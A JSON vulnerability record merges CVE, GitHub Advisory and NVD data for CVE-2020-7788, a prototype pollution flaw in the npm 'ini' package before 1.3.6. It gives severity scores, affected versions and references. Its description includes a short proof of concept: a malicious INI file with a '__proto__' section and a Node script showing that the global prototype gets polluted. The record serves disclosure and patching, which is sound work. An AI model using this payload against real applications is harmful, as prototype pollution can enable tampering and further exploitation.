{"id":"CVE-2020-7788","aliases":["CVE-2020-7788","GHSA-qqgx-2p2h-9c37","SNYK-JS-INI-1048974"],"related":[],"kind":"vulnerability","state":"published","title":"Prototype Pollution","summary":"This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.","source":"cvelist"},{"lang":"en","text":"### Overview\nThe `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.\n\nIf an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require('fs')\nvar ini = require('ini')\n\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n> node poc.js\n{}\n{ polluted: 'polluted' }\n{ polluted: 'polluted' }\npolluted\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Esto afecta al paquete ini versiones anteriores a 1.3.6.&#xa0;Si un atacante envía un archivo INI malicioso a una aplicación que lo analiza con ini.parse, contaminará el prototipo de la aplicación.&#xa0;Esto puede ser explotado aún más dependiendo del contexto","source":"nvd"}],"published":"2020-12-10T16:53:45.000Z","modified":"2026-10-08T22:17:03.403Z","severity":{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P","score":7.3,"rating":"HIGH"},"severities":[{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P","score":7.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":7.3,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","score":7.5,"rating":"HIGH"}],"cwes":["CWE-1321"],"affected":[{"ranges":[{"type":"custom","introduced":"unspecified","fixed":"1.3.6","status":"affected"}],"product":"ini","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.3.6"}],"ecosystem":"npm","package":"ini","purl":"pkg:npm/ini","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.3.6"}],"vendor":"ini_project","product":"ini","cpe":"cpe:2.3:a:ini_project:ini:*:*:*:*:*:node.js:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"9.0"}],"vendor":"debian","product":"debian_linux","cpe":"cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-INI-1048974","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html","tags":["mailing-list","third-party-advisory","web","x-refsource-mlist","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7788","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/npm/ini","tags":["package"],"sources":["ghsa"]},{"url":"https://www.npmjs.com/advisories/1589","tags":["web"],"sources":["ghsa"]}],"credits":["Eugene Lim","Government Technology Agency Cyber Security Group"],"assigner":"snyk","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2026-10-08T21:04:47.266Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2020-7788","url":"https://www.cve.org/CVERecord?id=CVE-2020-7788","licence":"CVE Terms of Use","modified":"2026-10-08T21:13:48.353Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qqgx-2p2h-9c37","url":"https://github.com/advisories/GHSA-qqgx-2p2h-9c37","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:13.836Z"},{"source":"nvd","name":"NVD","id":"CVE-2020-7788","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7788","licence":"Public domain","modified":"2026-10-08T22:17:03.403Z"}],"updatedAt":"2026-11-25T22:57:56.176Z","epss":{"score":0.03655,"percentile":0.8992,"date":"2026-12-02T12:00:21.000Z"}}